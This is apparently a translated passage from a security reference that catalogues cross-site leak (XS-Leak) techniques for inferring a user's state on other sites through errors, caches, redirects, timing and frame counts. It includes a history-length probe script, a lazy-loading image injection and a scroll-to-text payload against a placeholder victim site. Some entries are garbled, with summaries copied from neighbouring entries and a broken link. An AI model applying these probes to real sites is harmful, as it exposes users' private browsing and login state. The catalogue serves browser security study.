displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

The MediaError 인터페이스의 message 속성은 성공적으로 로드된 리소스를 고유하게 식별하는 독특한 문자열을 제공합니다. 공격자는 이 기능을 이용하여 메시지 내용을 관찰함으로써 교차 출처 리소스의 응답 상태를 추론할 수 있습니다.

CORS 오류

• 포함 방법: Fetch API

• 감지 가능한 차이: 헤더

• 자세한 정보: https://xsinator.com/paper.pdf (5.3)

• 요약: 보안 주장(SA)에서 CORS 오류 메시지는 우연히 리디렉션된 요청의 전체 URL을 노출합니다.

• 코드 예제: https://xsinator.com/testing.html#CORS%20Error%20Leak

이 기술은 공격자가 교차 출처 사이트의 리디렉션 목적지를 추출할 수 있게 해줍니다. 이는 Webkit 기반 브라우저가 CORS 요청을 처리하는 방식을 이용하여 이루어집니다. 구체적으로, CORS 지원 요청이 사용자 상태에 따라 리디렉션을 발행하는 대상 사이트에 전송되고 브라우저가 요청을 거부하면, 리디렉션의 대상 URL 전체가 오류 메시지 내에 노출됩니다. 이 취약점은 리디렉션의 사실을 드러낼 뿐만 아니라 리디렉션의 엔드포인트와 포함될 수 있는 민감한 쿼리 매개변수를 노출합니다.

SRI 오류

• 포함 방법: Fetch API

• 감지 가능한 차이: 헤더

• 자세한 정보: https://xsinator.com/paper.pdf (5.3)

• 요약: 보안 주장(SA)에서 CORS 오류 메시지는 우연히 리디렉션된 요청의 전체 URL을 노출합니다.

• 코드 예제: https://xsinator.com/testing.html#SRI%20Error%20Leak

공격자는 상세한 오류 메시지를 이용하여 교차 출처 응답의 크기를 추론할 수 있습니다. 이는 Subresource Integrity(SRI) 메커니즘 덕분에 가능하며, SRI는 리소스가 CDNs에서 가져온 경우 변조되지 않았는지 검증하기 위해 무결성 속성을 사용합니다. SRI가 교차 출처 리소스에서 작동하려면 CORS 지원이 필요하며, 그렇지 않으면 무결성 검사를 받지 않습니다. 보안 주장(SA)에서 CORS 오류 XS-Leak와 유사하게, 무결성 속성이 있는 fetch 요청이 실패한 후 오류 메시지를 캡처할 수 있습니다. 공격자는 가짜 해시 값을 무결성 속성에 할당하여 이 오류를 의도적으로 유발할 수 있습니다. SA에서 결과 오류 메시지는 요청된 리소스의 콘텐츠 길이를 우연히 드러냅니다. 이 정보 유출은 공격자가 응답 크기의 변화를 식별할 수 있게 하여 정교한 XS-Leak 공격의 길을 열어줍니다.

CSP 위반/탐지

• 포함 방법: 팝업

• 감지 가능한 차이: 상태 코드

• 자세한 정보: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects

• 요약: CSP에서 피해자의 웹사이트만 허용할 경우, 다른 도메인으로 리디렉션을 시도하면 CSP가 감지 가능한 오류를 발생시킵니다.

• 코드 예제: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation

XS-Leak는 CSP를 사용하여 교차 출처 사이트가 다른 출처로 리디렉션되었는지 감지할 수 있습니다. 이 유출은 리디렉션을 감지할 수 있지만, 추가로 리디렉션 대상의 도메인도 유출됩니다. 이 공격의 기본 아이디어는 공격자 사이트에서 대상 도메인을 허용하는 것입니다. 대상 도메인에 요청이 발행되면 리디렉션이 교차 출처 도메인으로 이루어집니다. CSP는 이에 대한 접근을 차단하고 유출 기법으로 사용되는 위반 보고서를 생성합니다. 브라우저에 따라 이 보고서는 리디렉션의 대상 위치를 유출할 수 있습니다. 현대 브라우저는 리디렉션된 URL을 표시하지 않지만, 여전히 교차 출처 리디렉션이 발생했음을 감지할 수 있습니다.

캐시

• 포함 방법: 프레임, 팝업

• 감지 가능한 차이: 페이지 콘텐츠

• 자세한 정보: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html

• 요약: 파일을 캐시에서 지웁니다. 대상 페이지를 열고 파일이 캐시에 있는지 확인합니다.

• 코드 예제:

브라우저는 모든 웹사이트에 대해 하나의 공유 캐시를 사용할 수 있습니다. 출처에 관계없이 특정 파일이 요청되었는지 추론할 수 있습니다.

페이지가 사용자가 로그인한 경우에만 이미지를 로드하는 경우, 리소스를 무효화(더 이상 캐시되지 않도록, 자세한 정보 링크 참조)하고, 해당 리소스를 로드할 수 있는 요청을 수행한 다음 잘못된 요청(예: 너무 긴 referer 헤더 사용)으로 리소스를 로드하려고 시도할 수 있습니다. 리소스 로드가 오류를 유발하지 않았다면, 이는 캐시되었기 때문입니다.

CSP 지시문

• 포함 방법: 프레임

• 감지 가능한 차이: 헤더

• 자세한 정보: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875

• 요약: CSP 헤더 지시문은 CSP iframe 속성을 사용하여 탐지할 수 있으며, 정책 세부정보를 노출합니다.

• 코드 예제: https://xsinator.com/testing.html#CSP%20Directive%20Leak

Google Chrome(GC)의 새로운 기능은 웹 페이지가 iframe 요소에 속성을 설정하여 **콘텐츠 보안 정책(CSP)**를 제안할 수 있게 하며, 정책 지시문은 HTTP 요청과 함께 전송됩니다. 일반적으로, 포함된 콘텐츠는 HTTP 헤더를 통해 이를 승인해야 하며, 그렇지 않으면 오류 페이지가 표시됩니다. 그러나 iframe이 이미 CSP에 의해 관리되고 새로 제안된 정책이 더 제한적이지 않으면 페이지는 정상적으로 로드됩니다. 이 메커니즘은 공격자가 오류 페이지를 식별하여 교차 출처 페이지의 특정 CSP 지시문을 감지할 수 있는 경로를 열어줍니다. 이 취약점은 수정된 것으로 표시되었지만, 우리의 발견은 오류 페이지를 감지할 수 있는 새로운 유출 기법을 드러내며, 근본적인 문제가 완전히 해결되지 않았음을 시사합니다.

CORP

• 포함 방법: Fetch API

• 감지 가능한 차이: 헤더

• 자세한 정보: https://xsleaks.dev/docs/attacks/browser-features/corp/

• 요약: 교차 출처 리소스 정책(CORP)으로 보호된 리소스는 허용되지 않은 출처에서 가져올 때 오류를 발생시킵니다.

• 코드 예제: https://xsinator.com/testing.html#CORP%20Leak

CORP 헤더는 상대적으로 새로운 웹 플랫폼 보안 기능으로, 설정되면 주어진 리소스에 대한 no-cors 교차 출처 요청을 차단합니다. 헤더의 존재는 감지할 수 있으며, CORP로 보호된 리소스는 가져올 때 오류를 발생시킵니다.

CORB

• 포함 방법: HTML 요소

• 감지 가능한 차이: 헤더

• 자세한 정보: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header

• 요약: CORB는 공격자가 요청에 nosniff 헤더가 존재하는지 감지할 수 있게 합니다.

• 코드 예제: https://xsinator.com/testing.html#CORB%20Leak

공격에 대한 자세한 정보는 링크를 확인하세요.

출처 반사 잘못 구성으로 인한 CORS 오류

• 포함 방법: Fetch API

• 감지 가능한 차이: 헤더

• 자세한 정보: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration

• 요약: Origin 헤더가 Access-Control-Allow-Origin 헤더에 반영되면 리소스가 이미 캐시에 있는지 확인할 수 있습니다.

• 코드 예제: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration

Origin 헤더가 Access-Control-Allow-Origin 헤더에 반영되는 경우, 공격자는 이 동작을 악용하여 CORS 모드에서 리소스를 가져오려고 시도할 수 있습니다. 오류가 발생하지 않으면, 이는 웹에서 올바르게 검색되었음을 의미하며, 오류가 발생하면, 이는 캐시에서 접근되었기 때문입니다(오류는 캐시가 원래 도메인을 허용하는 CORS 헤더가 있는 응답을 저장하기 때문에 발생합니다). Origin이 반영되지 않고 와일드카드가 사용되는 경우(Access-Control-Allow-Origin: *), 이는 작동하지 않습니다.

읽을 수 있는 속성 기술

Fetch 리디렉션

• 포함 방법: Fetch API

• 감지 가능한 차이: 상태 코드

• 자세한 정보: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html

• 요약: GC와 SA는 리디렉션이 완료된 후 응답의 유형(opaque-redirect)을 확인할 수 있습니다.

• 코드 예제: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak

redirect: "manual" 및 기타 매개변수를 사용하여 Fetch API를 통해 요청을 제출하면, response.type 속성을 읽을 수 있으며, 만약 그것이 opaqueredirect와 같다면 응답은 리디렉션이었습니다.

COOP

• 포함 방법: 팝업

• 감지 가능한 차이: 헤더

• 자세한 정보: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/

• 요약: 교차 출처 오프너 정책(COOP)으로 보호된 페이지는 교차 출처 상호작용으로부터의 접근을 차단합니다.

• 코드 예제: https://xsinator.com/testing.html#COOP%20Leak

공격자는 교차 출처 HTTP 응답에서 교차 출처 오프너 정책(COOP) 헤더의 존재를 추론할 수 있습니다. COOP는 웹 애플리케이션이 외부 사이트가 임의의 창 참조를 얻지 못하도록 방지하는 데 사용됩니다. 이 헤더의 가시성은 contentWindow 참조에 접근하려고 시도함으로써 감지할 수 있습니다. COOP가 조건부로 적용되는 경우, opener 속성은 결정적인 지표가 됩니다: COOP가 활성화되면 정의되지 않으며, 비활성화되면 정의됩니다.

URL 최대 길이 - 서버 측

• 포함 방법: Fetch API, HTML 요소

• 감지 가능한 차이: 상태 코드 / 콘텐츠

• 자세한 정보: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects

• 요약: 리디렉션 응답 길이로 인해 응답의 차이를 감지할 수 있으며, 너무 길면 서버가 오류로 재전송하고 경고가 생성됩니다.

• 코드 예제: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak

서버 측 리디렉션이 리디렉션 내에서 사용자 입력을 사용하고 추가 데이터를 포함하는 경우, 이 동작을 감지할 수 있습니다. 일반적으로 서버는 요청 길이 제한이 있습니다. 만약 사용자 데이터가 길이 - 1이라면, 리디렉션이 그 데이터를 사용하고 추가적인 것을 더하면, 오류가 발생하여 오류 이벤트를 통해 감지할 수 있습니다.

사용자에게 쿠키를 설정할 수 있다면, 충분한 쿠키를 설정하여 이 공격을 수행할 수도 있습니다 (쿠키 폭탄) 그래서 정상 응답의 크기 증가로 인해 오류가 발생합니다. 이 경우, 동일한 사이트에서 이 요청을 트리거하면 <script>가 자동으로 쿠키를 전송하므로 (따라서 오류를 확인할 수 있습니다). 쿠키 폭탄 + XS-Search의 예는 이 문서의 의도된 솔루션에서 찾을 수 있습니다: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None 또는 동일한 컨텍스트에 있어야 이 유형의 공격에 필요합니다.

URL 최대 길이 - 클라이언트 측

• 포함 방법: 팝업

• 감지 가능한 차이: 상태 코드 / 콘텐츠

• 자세한 정보: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit

• 요약: 리디렉션 응답 길이로 인해 요청의 차이를 감지할 수 있으며, 차이를 인식할 수 있습니다.

• 코드 예제: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit

Chromium 문서에 따르면, Chrome의 최대 URL 길이는 2MB입니다.

일반적으로, _웹 플랫폼_은 URL 길이에 대한 제한이 없습니다(2^31이 일반적인 제한이지만). _Chrome_은 실용적인 이유로 URL을 최대 2MB로 제한하며, 프로세스 간 통신에서 서비스 거부 문제를 피하기 위해서입니다.

따라서 리디렉션 URL 응답이 한 경우보다 더 크면, 2MB보다 큰 URL로 리디렉션되도록 할 수 있습니다. 이 경우, Chrome은 about:blank#blocked 페이지를 표시합니다.

눈에 띄는 차이점은 리디렉션이 완료되었다면, window.origin이 오류를 발생시키는 것입니다. 교차 출처는 해당 정보를 접근할 수 없습니다. 그러나 제한이 충족되고 로드된 페이지가 **about:blank#blocked**인 경우, 창의 **origin**은 부모의 것이며, 이는 접근 가능한 정보입니다.

2MB에 도달하기 위해 필요한 모든 추가 정보는 초기 URL의 해시를 통해 추가할 수 있으므로 리디렉션에 사용됩니다.

URL Max Length - Client Side

최대 리디렉션

• 포함 방법: Fetch API, 프레임

• 감지 가능한 차이: 상태 코드

• 자세한 정보: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76

• 요약: 브라우저의 리디렉션 제한을 사용하여 URL 리디렉션의 발생 여부를 확인합니다.

• 코드 예제: https://xsinator.com/testing.html#Max%20Redirect%20Leak

브라우저의 최대 리디렉션 수가 20인 경우, 공격자는 19개의 리디렉션으로 자신의 페이지를 로드하려고 시도하고 마지막으로 피해자를 테스트된 페이지로 보낼 수 있습니다. 만약 오류가 발생하면, 페이지가 피해자를 리디렉션하려고 시도한 것입니다.

히스토리 길이

• 포함 방법: 프레임, 팝업

• 감지 가능한 차이: 리디렉션

• 자세한 정보: https://xsleaks.dev/docs/attacks/navigations/

• 요약: JavaScript 코드는 브라우저 히스토리를 조작할 수 있으며, 길이 속성으로 접근할 수 있습니다.

• 코드 예제: https://xsinator.com/testing.html#History%20Length%20Leak

History API는 JavaScript 코드가 브라우저 히스토리를 조작할 수 있게 하며, 이는 사용자가 방문한 페이지를 저장합니다. 공격자는 길이 속성을 포함 방법으로 사용할 수 있습니다: JavaScript 및 HTML 탐지를 감지하기 위해. **history.length**를 확인하고, 사용자가 페이지로 탐색하게 한 다음, 동일 출처로 다시 변경하고 **history.length**의 새 값을 확인합니다.

동일 URL로 히스토리 길이

• 포함 방법: 프레임, 팝업

• 감지 가능한 차이: URL이 추측한 것과 동일한 경우

• 요약: 히스토리 길이를 악용하여 프레임/팝업의 위치가 특정 URL에 있는지 추측할 수 있습니다.

• 코드 예제: 아래

공격자는 JavaScript 코드를 사용하여 프레임/팝업 위치를 추측한 URL로 조작하고 즉시 **about:blank**로 변경할 수 있습니다. 히스토리 길이가 증가하면 URL이 올바르며 URL이 동일할 경우 다시 로드되지 않기 때문에 증가할 시간이 있었음을 의미합니다. 증가하지 않았다면 추측한 URL을 로드하려고 시도했지만, 즉시 후에 **about:blank**를 로드했기 때문에 히스토리 길이가 증가하지 않았습니다.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/frame-counting/

• Summary: window.length 속성을 검사하여 iframe 요소의 수를 평가합니다.

• Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak

iframe 또는 window.open을 통해 열린 웹의 프레임 수를 세는 것은 사용자의 페이지 상태를 식별하는 데 도움이 될 수 있습니다. 또한, 페이지에 항상 동일한 수의 프레임이 있는 경우, 프레임 수를 지속적으로 확인하면 정보가 유출될 수 있는 패턴을 식별하는 데 도움이 될 수 있습니다.

이 기술의 예로, 크롬에서는 PDF가 프레임 카운팅으로 감지될 수 있습니다. 내부적으로 embed가 사용되기 때문입니다. 이 기술이 흥미로울 수 있는 zoom, view, page, toolbar와 같은 콘텐츠에 대한 일부 제어를 허용하는 Open URL Parameters가 있습니다.

HTMLElements

• Inclusion Methods: HTML Elements

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/element-leaks/

• Summary: 2개의 가능한 상태를 구별하기 위해 유출된 값을 읽습니다.

• Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak

HTML 요소를 통한 정보 유출은 웹 보안에서 우려되는 문제로, 특히 사용자 정보에 따라 동적 미디어 파일이 생성되거나 워터마크가 추가되어 미디어 크기가 변경될 때 더욱 그렇습니다. 이는 공격자가 특정 HTML 요소에 의해 노출된 정보를 분석하여 가능한 상태를 구별하는 데 악용될 수 있습니다.

Information Exposed by HTML Elements

• HTMLMediaElement: 이 요소는 미디어의 duration 및 buffered 시간을 노출하며, API를 통해 접근할 수 있습니다. HTMLMediaElement에 대해 더 읽기

• HTMLVideoElement: videoHeight 및 videoWidth를 노출합니다. 일부 브라우저에서는 webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, webkitDecodedFrameCount와 같은 추가 속성이 제공되어 미디어 콘텐츠에 대한 더 깊이 있는 정보를 제공합니다. HTMLVideoElement에 대해 더 읽기

• getVideoPlaybackQuality(): 이 함수는 비디오 재생 품질에 대한 세부 정보를 제공하며, totalVideoFrames를 포함하여 처리된 비디오 데이터의 양을 나타낼 수 있습니다. getVideoPlaybackQuality()에 대해 더 읽기

• HTMLImageElement: 이 요소는 이미지의 height 및 width를 유출합니다. 그러나 이미지가 유효하지 않은 경우 이러한 속성은 0을 반환하며, image.decode() 함수는 거부되어 이미지를 제대로 로드하지 못했음을 나타냅니다. HTMLImageElement에 대해 더 읽기

CSS Property

• Inclusion Methods: HTML Elements

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle, https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html

• Summary: 사용자의 상태 또는 상태와 관련된 웹사이트 스타일의 변화를 식별합니다.

• Code Example: https://xsinator.com/testing.html#CSS%20Property%20Leak

웹 애플리케이션은 사용자의 상태에 따라 웹사이트 스타일을 변경할 수 있습니다. 공격자 페이지에 HTML 링크 요소를 사용하여 교차 출처 CSS 파일을 삽입할 수 있으며, 규칙은 공격자 페이지에 적용됩니다. 페이지가 이러한 규칙을 동적으로 변경하면 공격자는 사용자 상태에 따라 이러한 차이를 감지할 수 있습니다. 유출 기술로서 공격자는 window.getComputedStyle 메서드를 사용하여 특정 HTML 요소의 CSS 속성을 읽을 수 있습니다. 결과적으로, 공격자는 영향을 받는 요소와 속성 이름이 알려져 있다면 임의의 CSS 속성을 읽을 수 있습니다.

CSS History

• Inclusion Methods: HTML Elements

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history

• Summary: URL에 :visited 스타일이 적용되었는지 감지하여 이미 방문했음을 나타냅니다.

• Code Example: http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html

이것에 따르면, 이는 헤드리스 크롬에서 작동하지 않습니다.

CSS :visited 선택자는 사용자가 이전에 방문한 경우 URL을 다르게 스타일링하는 데 사용됩니다. 과거에는 getComputedStyle() 메서드를 사용하여 이러한 스타일 차이를 식별할 수 있었습니다. 그러나 최신 브라우저는 이 메서드가 링크의 상태를 노출하지 못하도록 보안 조치를 구현했습니다. 이러한 조치에는 링크가 방문된 것처럼 항상 계산된 스타일을 반환하고 :visited 선택자로 적용할 수 있는 스타일을 제한하는 것이 포함됩니다.

이러한 제한에도 불구하고 링크의 방문 상태를 간접적으로 식별할 수 있습니다. 한 가지 기술은 사용자가 CSS에 영향을 받는 영역과 상호작용하도록 유도하는 것입니다. 특히 mix-blend-mode 속성을 활용합니다. 이 속성은 요소와 배경을 혼합할 수 있게 하여 사용자 상호작용에 따라 방문 상태를 드러낼 수 있습니다.

또한, 링크의 렌더링 타이밍을 악용하여 사용자 상호작용 없이 감지가 가능합니다. 브라우저는 방문한 링크와 방문하지 않은 링크를 다르게 렌더링할 수 있으므로, 이는 렌더링에서 측정 가능한 시간 차이를 초래할 수 있습니다. 여러 링크를 사용하여 타이밍 차이를 증폭시키는 이 기술을 보여주는 개념 증명(PoC)이 크롬 버그 보고서에 언급되었습니다. 이를 통해 타이밍 분석을 통해 방문 상태를 감지할 수 있습니다.

이러한 속성과 방법에 대한 자세한 내용은 문서 페이지를 방문하십시오:

• :visited: MDN Documentation

• getComputedStyle(): MDN Documentation

• mix-blend-mode: MDN Documentation

ContentDocument X-Frame Leak

• Inclusion Methods: Frames

• Detectable Difference: Headers

• More info: https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf

• Summary: Google Chrome에서는 X-Frame-Options 제한으로 인해 페이지가 교차 출처 사이트에 포함되는 것이 차단될 때 전용 오류 페이지가 표시됩니다.

• Code Example: https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak

크롬에서 X-Frame-Options 헤더가 "deny" 또는 "same-origin"으로 설정된 페이지가 객체로 포함되면 오류 페이지가 나타납니다. 크롬은 이 객체의 contentDocument 속성에 대해 빈 문서 객체(즉, null이 아님)를 고유하게 반환합니다. 이는 iframe이나 다른 브라우저와는 다릅니다. 공격자는 빈 문서를 감지하여 사용자의 상태에 대한 정보를 유출할 수 있습니다. 특히 개발자가 X-Frame-Options 헤더를 일관되게 설정하지 않고 오류 페이지를 간과하는 경우 더욱 그렇습니다. 이러한 유출을 방지하기 위해 보안 헤더의 인식과 일관된 적용이 중요합니다.

Download Detection

• Inclusion Methods: Frames, Pop-ups

• Detectable Difference: Headers

• More info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger

• Summary: 공격자는 iframe을 활용하여 파일 다운로드를 감지할 수 있으며, iframe의 지속적인 접근 가능성은 파일 다운로드가 성공적으로 이루어졌음을 의미합니다.

• Code Example: https://xsleaks.dev/docs/attacks/navigations/#download-bar

Content-Disposition 헤더, 특히 Content-Disposition: attachment는 브라우저에 콘텐츠를 인라인으로 표시하는 대신 다운로드하도록 지시합니다. 이 동작은 사용자가 파일 다운로드를 유발하는 페이지에 접근할 수 있는지 감지하는 데 악용될 수 있습니다. 크로미움 기반 브라우저에서는 이 다운로드 동작을 감지하기 위한 몇 가지 기술이 있습니다:

1. 다운로드 바 모니터링:

• 크로미움 기반 브라우저에서 파일이 다운로드되면 브라우저 창 하단에 다운로드 바가 나타납니다.

• 창 높이의 변화를 모니터링하여 다운로드 바의 나타남을 추론할 수 있습니다.

1. iframe을 통한 다운로드 탐색:

• 페이지가 Content-Disposition: attachment 헤더를 사용하여 파일 다운로드를 유발할 때 탐색 이벤트를 발생시키지 않습니다.

• 콘텐츠를 iframe에 로드하고 탐색 이벤트를 모니터링하여 콘텐츠 배치가 파일 다운로드를 유발하는지(탐색 없음) 여부를 확인할 수 있습니다.

1. iframe 없이 다운로드 탐색:

• iframe 기술과 유사하게, 이 방법은 iframe 대신 window.open을 사용합니다.

• 새로 열린 창에서 탐색 이벤트를 모니터링하여 파일 다운로드가 유발되었는지(탐색 없음) 또는 콘텐츠가 인라인으로 표시되었는지(탐색 발생)를 확인할 수 있습니다.

로그인한 사용자만 이러한 다운로드를 유발할 수 있는 시나리오에서는 이러한 기술을 사용하여 다운로드 요청에 대한 브라우저의 응답을 기반으로 사용자의 인증 상태를 간접적으로 추론할 수 있습니다.

Partitioned HTTP Cache Bypass

• Inclusion Methods: Pop-ups

• Detectable Difference: Timing

• More info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass

• Summary: 공격자는 iframe을 활용하여 파일 다운로드를 감지할 수 있으며, iframe의 지속적인 접근 가능성은 파일 다운로드가 성공적으로 이루어졌음을 의미합니다.

• Code Example: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass, https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722 (from https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)

이 기술이 흥미로운 이유는 다음과 같습니다: 크롬은 이제 캐시 파티셔닝을 가지고 있으며, 새로 열린 페이지의 캐시 키는: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)입니다. 그러나 ngrok 페이지를 열고 그 안에서 fetch를 사용하면 캐시 키는: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)가 됩니다. 캐시 키가 다르므로 캐시를 공유할 수 없습니다. 여기에서 더 많은 세부정보를 찾을 수 있습니다: 캐시 파티셔닝을 통한 보안 및 개인 정보 보호 확보 (여기의 댓글)

사이트 example.com이 *.example.com/resource에서 리소스를 포함하면 해당 리소스는 최상위 탐색을 통해 직접 요청된 것과 동일한 캐싱 키를 갖습니다. 이는 캐싱 키가 최상위 eTLD+1 및 프레임 _eTLD+1_로 구성되기 때문입니다.

캐시에 접근하는 것이 리소스를 로드하는 것보다 빠르기 때문에, 페이지의 위치를 변경하고 20ms(예: 후)에 취소할 수 있습니다. 원본이 중지 후 변경되었다면, 리소스가 캐시되었음을 의미합니다. 또는 잠재적으로 캐시된 페이지에 대해 fetch를 보내고 소요 시간을 측정할 수 있습니다.

Manual Redirect

• Inclusion Methods: Fetch API

• Detectable Difference: Redirects

• More info: ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234

• Summary: fetch 요청에 대한 응답이 리디렉션인지 확인할 수 있습니다.

• Code Example:

Fetch with AbortController

• Inclusion Methods: Fetch API

• Detectable Difference: Timing

• More info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller

• Summary: 리소스를 로드하려고 시도하고 로드되기 전에 로드를 중단할 수 있습니다. 오류가 발생하는지 여부에 따라 리소스가 캐시되었거나 그렇지 않습니다.

• Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller

AbortController와 함께 fetch 및 _setTimeout_을 사용하여 리소스가 캐시되었는지 감지하고 특정 리소스를 브라우저 캐시에서 제거할 수 있습니다. 또한, 이 과정은 새로운 콘텐츠를 캐시하지 않고 발생합니다.

Script Pollution

• Inclusion Methods: HTML Elements (script)

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

• Summary: 내장 함수를 덮어쓰고 그 인수를 읽을 수 있으며, 이는 교차 출처 스크립트에서도 가능합니다(직접 읽을 수 없음). 이는 귀중한 정보를 유출할 수 있습니다.

• Code Example: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

Service Workers

• Inclusion Methods: Pop-ups

• Detectable Difference: Page Content

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers

• Summary: 서비스 워커를 사용하여 웹의 실행 시간을 측정합니다.

• Code Example:

주어진 시나리오에서 공격자는 자신의 도메인 중 하나인 "attacker.com" 내에 서비스 워커를 등록하는 주도권을 잡습니다. 다음으로 공격자는 메인 문서에서 대상 웹사이트의 새 창을 열고 서비스 워커에 타이머를 시작하도록 지시합니다. 새 창이 로드되기 시작하면 공격자는 이전 단계에서 얻은 참조를 서비스 워커가 관리하는 페이지로 탐색합니다.

이전 단계에서 시작된 요청이 도착하면 서비스 워커는 204 (No Content) 상태 코드로 응답하여 탐색 프로세스를 종료합니다. 이 시점에서 서비스 워커는 두 번째 단계에서 시작된 타이머에서 측정을 캡처합니다. 이 측정치는 탐색 프로세스의 지연을 초래하는 JavaScript의 지속 시간에 영향을 받습니다.

실행 타이밍에서는 네트워크 요인을 제거하여 더 정확한 측정값을 얻을 수 있습니다. 예를 들어, 페이지를 로드하기 전에 페이지에서 사용하는 리소스를 로드하는 것입니다.

Fetch Timing

• Inclusion Methods: Fetch API

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks

• Summary: 요청을 수행하는 데 걸리는 시간을 측정하기 위해 performance.now()를 사용합니다. 다른 시계도 사용할 수 있습니다.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks

Cross-Window Timing

• Inclusion Methods: Pop-ups

• Detectable Difference: Timing (generally due to Page Content, Status Code)

• More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks

• Summary: window.open을 사용하여 요청을 수행하는 데 걸리는 시간을 측정하기 위해 performance.now()를 사용합니다. 다른 시계도 사용할 수 있습니다.

• Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks

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With HTML or Re Injection

여기에서는 HTML 콘텐츠를 주입하여 교차 출처에서 정보를 유출하는 기술을 찾을 수 있습니다. 이러한 기술은 어떤 이유로든 HTML을 주입할 수 있지만 JS 코드를 주입할 수 없는 경우에 흥미롭습니다.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

콘텐츠를 유출해야 하고 비밀 이전에 HTML을 추가할 수 있는 경우, 일반적인 dangling markup 기술을 확인해야 합니다. 그러나 어떤 이유로든 문자를 하나씩 해야 하는 경우(아마도 통신이 캐시 적중을 통해 이루어지기 때문) 이 요령을 사용할 수 있습니다.

HTML의 이미지에는 "loading" 속성이 있으며, 그 값은 "lazy"일 수 있습니다. 이 경우 이미지는 페이지가 로드되는 동안이 아니라 볼 때 로드됩니다:

<img src=/something loading=lazy >

따라서 할 수 있는 것은 많은 쓰레기 문자를 추가하는 것입니다 (예: 수천 개의 "W") 비밀 앞에 웹 페이지를 채우거나 <br><canvas height="1850px"></canvas><br>와 같은 것을 추가하는 것입니다. 예를 들어, 우리의 주입이 플래그 앞에 나타나면, 이미지가 로드될 것이지만, 플래그 뒤에 나타나면, 플래그 + 쓰레기가 로드되는 것을 방지할 것입니다 (얼마나 많은 쓰레기를 배치할지는 조정해야 합니다). 이것은 이 글에서 발생한 일입니다.

또 다른 옵션은 scroll-to-text-fragment를 사용하는 것입니다, 허용된다면:

Scroll-to-text-fragment

그러나 봇이 페이지에 접근하게 하려면 다음과 같은 것을 사용해야 합니다.

#:~:text=SECR

So the web page will be something like: https://victim.com/post.html#:~:text=SECR

Where post.html contains the attacker junk chars and lazy load image and then the secret of the bot is added.

